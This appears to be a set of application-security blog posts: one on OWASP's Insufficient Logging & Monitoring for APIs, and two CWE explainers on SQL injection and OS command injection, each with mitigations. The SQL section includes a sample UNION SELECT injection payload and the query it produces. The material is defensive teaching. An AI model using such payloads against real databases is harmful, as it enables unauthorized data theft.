You’ve probably heard of the OWASP top ten or the top ten vulnerabilities that threaten web applications. OWASP also periodically selects a list of top ten vulnerabilities that threaten APIs, called the OWASP API top ten. The current API top ten are Broken Object Level Authorization, Broken User Authentication, Excessive Data Exposure, Lack of Resources & Rate Limiting, Broken Function Level Authorization, Mass Assignment, Security Misconfiguration, Injection, Improper Assets Management, and Insufficient Logging & Monitoring. Today, let’s talk about the last vulnerability on the list: Insufficient Logging & Monitoring.

So far in our API security series, we’ve talked about measures that you can take to prevent malicious attacks against your API. For instance, we talked about Broken User Authentication and how you can implement authentication properly on API systems.

API Security 101: Broken User Authentication

But what happens after an attacker finds a way to exploit your application or API?

After an attacker gains initial access to your system, they will start to utilize that initial foothold to explore and exploit the network. They might look for for more vulnerabilities that they can exploit on the machine, perform recon to discover other machines on the system, exploit new vulnerabilities they found on the system, establish persistent access to the system, or move across the network to steal data from other machines, and so on.

Cyber attacks do not happen within a few hours or even a few days. Attackers often need time to explore the network and construct suitable strategies to fully exploit the system and steal the data it contains. The longer an attacker is able to access the system without detection, the more likely the attacker would find a way exploit the system, steal data, and cause extensive damage to the application and its users. That’s why it’s essential to have a logging and monitoring system capable of detecting malicious activity as soon as possible.

Many organizations only conduct infrastructure logging like logging network events and server logins, and lack API or application specific monitoring infrastructure. If this is you, this means that you do not have insight into the malicious activities going on in your network. You need an API logging system that would be responsible for monitoring for abnormal API usage. You can log events such as input validation failures, authentication and authorization success and failures, application errors, and any other API events that deals with sensitive functionality like payment, account settings, and so on. Over time, you will be able to understand what normal usage of the API looks like, and detect suspicious activity that could be an attack.

And that wraps up our our series about the OWASP API top ten! Which one of the OWASP API top ten do you see the most in your work? What other security concepts do you want to learn about? I’d love to know. Feel free to connect on Twitter @vickieli7.

Want to learn more about application security? Take our free OWASP top ten courses here: https://www.shiftleft.io/learn/.

CWE-89

Cdebrincat — Mon, 27 Sep 2021 13:02:34 +0000

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

SQL injection occurs when an end-user leverages the client-side interface to provide input that is then used as part of a SQL command that the application executes.

Why SQL injection vulnerabilities are problematic

With SQL injection attacks, an unauthorized user could:

Read from the database
Modify the database
Execute administrative operations against the database (e.g., drop tables)
Gain control of the operating system for the workstation on which the database is hosted

How SQL injection vulnerabilities occur

SQL injections can occur if the application accepts user input and uses it to create a SQL command. Areas where users can supply input include form fields and search bars.

If the user-provided input isn’t escaped or sanitized, they may provide unexpected input that changes the application’s behavior. For example, if the application asks for the user’s name, but the user provides the following instead:

myName’ UNION SELECT * FROM users —

Then the command that’s executed against the database is:

SELECT firstName FROM users WHERE user_name = ‘myName’ UNION SELECT TOP 100 * FROM users —

What results is that the user gains data instead of the application accepting the person’s name as expected.

Mitigating SQL injection vulnerabilities

To reduce exposure to SQL Command injection vulnerabilities:

Escape user-supplied input that will be used in a SQL statement
Create an allowlist of acceptable input and check all user-supplied input against this list
Use prepared statements with parameterized queries to handle data and ensure that a malicious party cannot change the intent of the SQL query
Use stored procedures to parameterize input before they’re used in SQL queries automatically
Create an account with limited privileges that the application uses to run SQL queries (e.g., this account does not need database administrator privileges)
Use libraries or frameworks to implement functionality alongside protection against SQL injection attacks

TL;DR

CWE-89 refers to SQL injection attacks, which occur when raw user input is used to create a SQL query, allowing a malicious party to change the query’s intent. SQL injections are easily found and commonly exploited.

CWE-78

Cdebrincat — Thu, 23 Sep 2021 13:02:49 +0000

Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

OS command injection occurs when the application uses user input (which isn’t escaped or sanitized) as part of a command that’s run against the host’s operating system.

Why OS command injection vulnerabilities are problematic

Typically, end-users would not have access to the host operating system. Still, OS command injection allows malicious parties to bypass this limitation and execute commands directly against the operating system. The attacker would therefore have access to sensitive aspects of the application, granting them the ability to perform actions that may compromise the integrity of the application.

How OS command injection vulnerabilities occur

OS command injection vulnerabilities occur when users are allowed to provide input. The input provided (without sanitization or validation) is then used to build a command executed on the host operating system. The user input could be used as an argument to a program that’s supposed to run on the operating system or select a program to be run on the host.

Mitigating OS command injection vulnerabilities

To reduce exposure to OS Command injection vulnerabilities:

Use library calls, rather than external processes, to implement the functionality needed
Avoid running commands against the operating system if they’re built with user-supplied input
Implement server-side checks on user-supplied input before using
Implement an allowlist and escape/filter anything that doesn’t match
Create a mapping of allowed inputs against which user-input is matched

TL;DR

CWE-78 vulnerabilities occur when unsanitized/unescaped user input is used as part of a command run against the operating system or used to launch applications,
OS injection vulnerabilities can be a way for malicious parties to bypass security controls to manipulate the server’s operating system and can be very dangerous.